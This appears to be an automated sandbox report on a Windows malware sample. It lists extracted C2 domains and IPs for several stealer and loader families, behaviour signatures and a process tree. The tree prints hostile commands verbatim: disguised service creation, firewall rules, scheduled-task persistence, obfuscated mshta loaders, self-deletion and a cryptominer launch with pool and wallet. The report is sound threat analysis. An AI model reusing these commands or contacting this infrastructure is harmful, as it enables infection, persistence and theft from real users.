Analysis

  • max time kernel
    121s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    20/11/2021, 15:21

General

  • Target
    c22ba8a93e20487fc1f37cbab8d1ece6.exe
  • Size 320KB
  • Sample211120-srbtjschhj
  • SHA256 d38921180eefad28ad164b96e902491cc9fe2a4f7a6a42ca08a06c6474d431de
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-file-host6.com/

  • http://host-host-file8.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • quadoil.ru

  • lakeflex.ru

Extracted

Family
  • redline

C2
  • 185.159.80.90:38637

Extracted

Family
  • raccoon

Version
  • 1.8.3-hotfix

Botnet
  • ddf183af4241e3172885cf1b2c4c1fb4ee03d05a

Attributes
  • url4cnc

    http://91.219.236.27/capibar

    http://5.181.156.92/capibar

    http://91.219.236.207/capibar

    http://185.225.19.18/capibar

    http://91.219.237.227/capibar

    https://t.me/capibar

rc4.plain
rc4.plain

Extracted

Family
  • arkei

Botnet
  • Default

C2
  • http://file-file-host4.com/tratata.php

Extracted

Family
  • raccoon

Version
  • 1.8.3-hotfix

Botnet
  • 59885c564847bf29ddd9457b81c619998245ba90

Attributes
  • url4cnc

    http://91.219.236.27/opussenseus1

    http://5.181.156.92/opussenseus1

    http://91.219.236.207/opussenseus1

    http://185.225.19.18/opussenseus1

    http://91.219.237.227/opussenseus1

    https://t.me/opussenseus1

rc4.plain
rc4.plain

Extracted

Family
  • redline

Botnet
  • Sleeze

C2
  • 194.127.179.0:42417

Extracted

Family
  • vidar

Version
  • 48.6

Botnet
  • 706

C2
  • https://mastodon.online/@valhalla

  • https://koyu.space/@valhalla

Attributes
  • profile_id

    706

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

  • Process spawned unexpected child process 9 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE DCRAT Activity (GET)

    suricata: ET MALWARE DCRAT Activity (GET)

  • suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

    suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)

  • suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

    suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload

  • suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

    suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil

  • suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

    suricata: ET MALWARE Win32/Vidar Variant Stealer CnC Exfil

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 9 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 11 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 9 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 2 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c22ba8a93e20487fc1f37cbab8d1ece6.exe
    "C:\Users\Admin\AppData\Local\Temp\c22ba8a93e20487fc1f37cbab8d1ece6.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Users\Admin\AppData\Local\Temp\c22ba8a93e20487fc1f37cbab8d1ece6.exe
      "C:\Users\Admin\AppData\Local\Temp\c22ba8a93e20487fc1f37cbab8d1ece6.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2876
  • C:\Users\Admin\AppData\Local\Temp\D69.exe
    C:\Users\Admin\AppData\Local\Temp\D69.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Users\Admin\AppData\Local\Temp\D69.exe
      C:\Users\Admin\AppData\Local\Temp\D69.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:3876
  • C:\Users\Admin\AppData\Local\Temp\1C3F.exe
    C:\Users\Admin\AppData\Local\Temp\1C3F.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:2100
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ouddcduh\
      2⤵
        PID:2504
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zedbrxgv.exe" C:\Windows\SysWOW64\ouddcduh\
        2⤵
          PID:3256
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ouddcduh binPath= "C:\Windows\SysWOW64\ouddcduh\zedbrxgv.exe /d\"C:\Users\Admin\AppData\Local\Temp\1C3F.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:612
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ouddcduh "wifi internet conection"
            2⤵
              PID:1320
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ouddcduh
              2⤵
                PID:1556
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2088
              • C:\Users\Admin\AppData\Local\Temp\29CD.exe
                C:\Users\Admin\AppData\Local\Temp\29CD.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:736
                • C:\Users\Admin\AppData\Local\Temp\29CD.exe
                  C:\Users\Admin\AppData\Local\Temp\29CD.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3500
              • C:\Windows\SysWOW64\ouddcduh\zedbrxgv.exe
                C:\Windows\SysWOW64\ouddcduh\zedbrxgv.exe /d"C:\Users\Admin\AppData\Local\Temp\1C3F.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1788
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:816
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2352
              • C:\Users\Admin\AppData\Local\Temp\42F4.exe
                C:\Users\Admin\AppData\Local\Temp\42F4.exe
                1⤵
                • Executes dropped EXE
                PID:3880
              • C:\Users\Admin\AppData\Local\Temp\B381.exe
                C:\Users\Admin\AppData\Local\Temp\B381.exe
                1⤵
                • Executes dropped EXE
                • Checks SCSI registry key(s)
                • Suspicious behavior: MapViewOfSection
                PID:596
              • C:\Users\Admin\AppData\Local\Temp\C5A3.exe
                C:\Users\Admin\AppData\Local\Temp\C5A3.exe
                1⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Drops file in System32 directory
                • Drops file in Program Files directory
                • Suspicious use of AdjustPrivilegeToken
                PID:3184
                • C:\Users\Admin\AppData\Local\Temp\C5A3.exe
                  "C:\Users\Admin\AppData\Local\Temp\C5A3.exe"
                  2⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in System32 directory
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3916
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\TRKaP0SlBE.bat"
                    3⤵
                      PID:2240
                      • C:\Windows\SysWOW64\w32tm.exe
                        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                        4⤵
                          PID:1752
                          • C:\Windows\System32\w32tm.exe
                            w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                            5⤵
                              PID:2020
                          • C:\Windows\SysWOW64\SortWindows61\taskhostw.exe
                            "C:\Windows\System32\SortWindows61\taskhostw.exe"
                            4⤵
                            • Executes dropped EXE
                            PID:3188
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "B381" /sc ONLOGON /tr "'C:\ProgramData\Application Data\B381.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:1236
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Boot\pt-BR\fontdrvhost.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:2096
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "SearchUI" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Portable Devices\SearchUI.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:1828
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Windows\System32\cmstplua\taskhostw.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:2752
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\System32\NetSetupShim\dllhost.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:1192
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "B381" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\B381.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:3564
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Windows\System32\SortWindows61\taskhostw.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:3004
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\System32\OneDriveSettingSyncProvider\RuntimeBroker.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:3152
                    • C:\Windows\system32\schtasks.exe
                      schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\winlogon.exe'" /rl HIGHEST /f
                      1⤵
                      • Process spawned unexpected child process
                      • Creates scheduled task(s)
                      PID:3268
                    • C:\Users\Admin\AppData\Local\Temp\E2A2.exe
                      C:\Users\Admin\AppData\Local\Temp\E2A2.exe
                      1⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Checks processor information in registry
                      PID:3384
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\E2A2.exe" & exit
                        2⤵
                          PID:3864
                          • C:\Windows\SysWOW64\timeout.exe
                            timeout /t 5
                            3⤵
                            • Delays execution with timeout.exe
                            PID:3200
                      • C:\Users\Admin\AppData\Local\Temp\F446.exe
                        C:\Users\Admin\AppData\Local\Temp\F446.exe
                        1⤵
                        • Executes dropped EXE
                        PID:760
                      • C:\Users\Admin\AppData\Local\Temp\1963.exe
                        C:\Users\Admin\AppData\Local\Temp\1963.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:600
                      • C:\Users\Admin\AppData\Local\Temp\40B3.exe
                        C:\Users\Admin\AppData\Local\Temp\40B3.exe
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Checks processor information in registry
                        PID:800
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c taskkill /im 40B3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\40B3.exe" & del C:\ProgramData\*.dll & exit
                          2⤵
                            PID:3748
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /im 40B3.exe /f
                              3⤵
                              • Kills process with taskkill
                              PID:3616
                            • C:\Windows\SysWOW64\timeout.exe
                              timeout /t 6
                              3⤵
                              • Delays execution with timeout.exe
                              PID:2884
                        • C:\Users\Admin\AppData\Local\Temp\637E.exe
                          C:\Users\Admin\AppData\Local\Temp\637E.exe
                          1⤵
                          • Executes dropped EXE
                          PID:804
                          • C:\Windows\SysWOW64\mshta.exe
                            "C:\Windows\System32\mshta.exe" VBScripT: cLoSE ( CREATEoBJect ( "wsCRipt.sHell" ).ruN ( "C:\Windows\system32\cmd.exe /q /R typE ""C:\Users\Admin\AppData\Local\Temp\637E.exe"" > 3f_fB87.eXe &&sTarT 3f_fB87.ExE /pMCMbmZ0bwk & if """" == """" for %d iN ( ""C:\Users\Admin\AppData\Local\Temp\637E.exe"" ) do taskkill /F /iM ""%~nxd"" " , 0 , true ) )
                            2⤵
                              PID:700
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\system32\cmd.exe" /q /R typE "C:\Users\Admin\AppData\Local\Temp\637E.exe" > 3f_fB87.eXe &&sTarT 3f_fB87.ExE /pMCMbmZ0bwk & if "" == "" for %d iN ( "C:\Users\Admin\AppData\Local\Temp\637E.exe" ) do taskkill /F /iM "%~nxd"
                                3⤵
                                  PID:1668
                                  • C:\Users\Admin\AppData\Local\Temp\3f_fB87.eXe
                                    3f_fB87.ExE /pMCMbmZ0bwk
                                    4⤵
                                    • Executes dropped EXE
                                    PID:3104
                                    • C:\Windows\SysWOW64\mshta.exe
                                      "C:\Windows\System32\mshta.exe" VBScripT: cLoSE ( CREATEoBJect ( "wsCRipt.sHell" ).ruN ( "C:\Windows\system32\cmd.exe /q /R typE ""C:\Users\Admin\AppData\Local\Temp\3f_fB87.eXe"" > 3f_fB87.eXe &&sTarT 3f_fB87.ExE /pMCMbmZ0bwk & if ""/pMCMbmZ0bwk "" == """" for %d iN ( ""C:\Users\Admin\AppData\Local\Temp\3f_fB87.eXe"" ) do taskkill /F /iM ""%~nxd"" " , 0 , true ) )
                                      5⤵
                                        PID:2252
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\system32\cmd.exe" /q /R typE "C:\Users\Admin\AppData\Local\Temp\3f_fB87.eXe" > 3f_fB87.eXe &&sTarT 3f_fB87.ExE /pMCMbmZ0bwk & if "/pMCMbmZ0bwk " == "" for %d iN ( "C:\Users\Admin\AppData\Local\Temp\3f_fB87.eXe" ) do taskkill /F /iM "%~nxd"
                                          6⤵
                                            PID:1524
                                        • C:\Windows\SysWOW64\mshta.exe
                                          "C:\Windows\System32\mshta.exe" vbsCRIpT: cloSE ( CrEaTeOBJeCT ("WscRiPt.SHell" ). rUN ( "C:\Windows\system32\cmd.exe /C ECHo | SEt /p = ""MZ"" > CMoMD.~L & COPY /b /Y cMOMD.~L + CXO04V.3CC+DMxK1i8R.1HU JATvMQDM.pZ & Del cxO04V.3CC DMXK1I8R.1HU cMOMD.~L& stART control.exe .\JATvMQDM.pZ " , 0, true ) )
                                          5⤵
                                            PID:3004
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /C ECHo | SEt /p = "MZ" > CMoMD.~L & COPY /b /Y cMOMD.~L + CXO04V.3CC+DMxK1i8R.1HU JATvMQDM.pZ & Del cxO04V.3CC DMXK1I8R.1HU cMOMD.~L& stART control.exe .\JATvMQDM.pZ
                                              6⤵
                                                PID:2776
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  C:\Windows\system32\cmd.exe /S /D /c" ECHo "
                                                  7⤵
                                                    PID:2808
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CMoMD.~L"
                                                    7⤵
                                                      PID:2516
                                                    • C:\Windows\SysWOW64\control.exe
                                                      control.exe .\JATvMQDM.pZ
                                                      7⤵
                                                        PID:4036
                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                          "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\JATvMQDM.pZ
                                                          8⤵
                                                            PID:1324
                                                            • C:\Windows\system32\RunDll32.exe
                                                              C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\JATvMQDM.pZ
                                                              9⤵
                                                                PID:3372
                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                  "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\JATvMQDM.pZ
                                                                  10⤵
                                                                    PID:2564
                                                      • C:\Windows\SysWOW64\taskkill.exe
                                                        taskkill /F /iM "637E.exe"
                                                        4⤵
                                                        • Kills process with taskkill
                                                        PID:1048
                                                • C:\Users\Admin\AppData\Local\Temp\79C6.exe
                                                  C:\Users\Admin\AppData\Local\Temp\79C6.exe
                                                  1⤵
                                                    PID:680
                                                  • C:\Windows\SysWOW64\explorer.exe
                                                    C:\Windows\SysWOW64\explorer.exe
                                                    1⤵
                                                      PID:1820
                                                    • C:\Windows\explorer.exe
                                                      C:\Windows\explorer.exe
                                                      1⤵
                                                        PID:476

                                                      Network

                                                            MITRE ATT&CK Enterprise v6

                                                            Replay Monitor

                                                            Loading Replay Monitor...

                                                            Downloads

                                                            memory/476-311-0x0000000001220000-0x000000000122C000-memory.dmp

                                                            memory/476-309-0x0000000001230000-0x0000000001237000-memory.dmp

                                                            memory/596-197-0x0000000001090000-0x000000000113E000-memory.dmp

                                                            memory/596-198-0x0000000000400000-0x0000000001085000-memory.dmp

                                                            memory/600-254-0x00000000027C2000-0x00000000027C3000-memory.dmp

                                                            memory/600-243-0x00000000026E0000-0x000000000270C000-memory.dmp

                                                            memory/600-249-0x00000000027C4000-0x00000000027C6000-memory.dmp

                                                            memory/600-248-0x0000000001F80000-0x0000000001FB9000-memory.dmp

                                                            memory/600-246-0x0000000000460000-0x000000000050E000-memory.dmp

                                                            memory/600-255-0x00000000027C3000-0x00000000027C4000-memory.dmp

                                                            memory/600-251-0x0000000000400000-0x0000000000454000-memory.dmp

                                                            memory/600-252-0x00000000027C0000-0x00000000027C1000-memory.dmp

                                                            memory/600-253-0x0000000005900000-0x0000000005901000-memory.dmp

                                                            memory/600-241-0x0000000002420000-0x000000000244E000-memory.dmp

                                                            memory/600-261-0x00000000086C0000-0x00000000086C1000-memory.dmp

                                                            memory/648-132-0x0000000002B50000-0x0000000002C9A000-memory.dmp

                                                            memory/648-129-0x0000000002D99000-0x0000000002DA9000-memory.dmp

                                                            memory/680-314-0x0000000002B60000-0x0000000002CAA000-memory.dmp

                                                            memory/680-315-0x0000000002D90000-0x0000000002DBE000-memory.dmp

                                                            memory/680-327-0x0000000007154000-0x0000000007156000-memory.dmp

                                                            memory/680-326-0x0000000007153000-0x0000000007154000-memory.dmp

                                                            memory/680-323-0x0000000000400000-0x0000000002B5A000-memory.dmp

                                                            memory/680-325-0x0000000007152000-0x0000000007153000-memory.dmp

                                                            memory/680-313-0x0000000002DD8000-0x0000000002E04000-memory.dmp

                                                            memory/680-324-0x0000000007150000-0x0000000007151000-memory.dmp

                                                            memory/736-141-0x00000000055A0000-0x00000000055A1000-memory.dmp

                                                            memory/736-145-0x0000000005720000-0x0000000005721000-memory.dmp

                                                            memory/736-144-0x0000000005C30000-0x0000000005C31000-memory.dmp

                                                            memory/736-138-0x0000000000D90000-0x0000000000D91000-memory.dmp

                                                            memory/736-142-0x0000000005560000-0x0000000005561000-memory.dmp

                                                            memory/760-236-0x0000000000400000-0x0000000000491000-memory.dmp

                                                            memory/760-233-0x0000000000550000-0x000000000069A000-memory.dmp

                                                            memory/760-234-0x00000000021A0000-0x000000000222F000-memory.dmp

                                                            memory/800-268-0x00000000048F0000-0x00000000049C5000-memory.dmp

                                                            memory/800-271-0x0000000000400000-0x0000000002BAB000-memory.dmp

                                                            memory/816-176-0x00000000000E0000-0x00000000000E1000-memory.dmp

                                                            memory/816-175-0x00000000000E0000-0x00000000000E1000-memory.dmp

                                                            memory/816-173-0x00000000001D0000-0x00000000001E5000-memory.dmp

                                                            memory/1324-299-0x0000000004600000-0x000000000489B000-memory.dmp

                                                            memory/1324-338-0x0000000004A10000-0x0000000004B08000-memory.dmp

                                                            memory/1324-339-0x0000000004BD0000-0x0000000004C84000-memory.dmp

                                                            memory/1324-300-0x00000000048A0000-0x00000000048A1000-memory.dmp

                                                            memory/1788-178-0x0000000000400000-0x0000000002B49000-memory.dmp

                                                            memory/1788-177-0x00000000032F0000-0x0000000003303000-memory.dmp

                                                            memory/1820-310-0x0000000000630000-0x000000000069B000-memory.dmp

                                                            memory/1820-308-0x00000000006A0000-0x0000000000714000-memory.dmp

                                                            memory/2100-137-0x0000000002E68000-0x0000000002E78000-memory.dmp

                                                            memory/2100-140-0x0000000002C80000-0x0000000002DCA000-memory.dmp

                                                            memory/2100-146-0x0000000000400000-0x0000000002B49000-memory.dmp

                                                            memory/2264-152-0x0000000003320000-0x0000000003336000-memory.dmp

                                                            memory/2264-122-0x0000000001250000-0x0000000001266000-memory.dmp

                                                            memory/2264-223-0x00000000051B0000-0x00000000051C6000-memory.dmp

                                                            memory/2352-187-0x0000000000AA0000-0x0000000000B91000-memory.dmp

                                                            memory/2352-192-0x0000000000AA0000-0x0000000000B91000-memory.dmp

                                                            memory/2564-350-0x0000000004220000-0x0000000004221000-memory.dmp

                                                            memory/2568-118-0x0000000002CD9000-0x0000000002CEA000-memory.dmp

                                                            memory/2568-121-0x00000000001F0000-0x00000000001F9000-memory.dmp

                                                            memory/2876-119-0x0000000000400000-0x0000000000409000-memory.dmp

                                                            memory/3184-204-0x0000000007C60000-0x0000000007C61000-memory.dmp

                                                            memory/3184-202-0x0000000000F30000-0x0000000000F31000-memory.dmp

                                                            memory/3184-205-0x00000000086E0000-0x0000000008740000-memory.dmp

                                                            memory/3184-207-0x0000000008820000-0x0000000008821000-memory.dmp

                                                            memory/3384-237-0x0000000002B50000-0x0000000002C9A000-memory.dmp

                                                            memory/3384-235-0x0000000000400000-0x0000000002B4C000-memory.dmp

                                                            memory/3384-232-0x0000000002D68000-0x0000000002D7C000-memory.dmp

                                                            memory/3500-181-0x0000000006200000-0x0000000006201000-memory.dmp

                                                            memory/3500-185-0x0000000007570000-0x0000000007571000-memory.dmp

                                                            memory/3500-184-0x0000000006E70000-0x0000000006E71000-memory.dmp

                                                            memory/3500-165-0x0000000005220000-0x0000000005826000-memory.dmp

                                                            memory/3500-179-0x0000000005680000-0x0000000005681000-memory.dmp

                                                            memory/3500-162-0x00000000053D0000-0x00000000053D1000-memory.dmp

                                                            memory/3500-161-0x00000000052A0000-0x00000000052A1000-memory.dmp

                                                            memory/3500-164-0x0000000005340000-0x0000000005341000-memory.dmp

                                                            memory/3500-155-0x0000000000400000-0x0000000000420000-memory.dmp

                                                            memory/3500-163-0x0000000005300000-0x0000000005301000-memory.dmp

                                                            memory/3500-160-0x0000000005830000-0x0000000005831000-memory.dmp

                                                            memory/3880-169-0x00000000004A0000-0x000000000054E000-memory.dmp

                                                            memory/3880-170-0x0000000001FF0000-0x000000000207F000-memory.dmp

                                                            memory/3880-171-0x0000000000400000-0x0000000000491000-memory.dmp

                                                            memory/3916-213-0x0000000001250000-0x000000000139A000-memory.dmp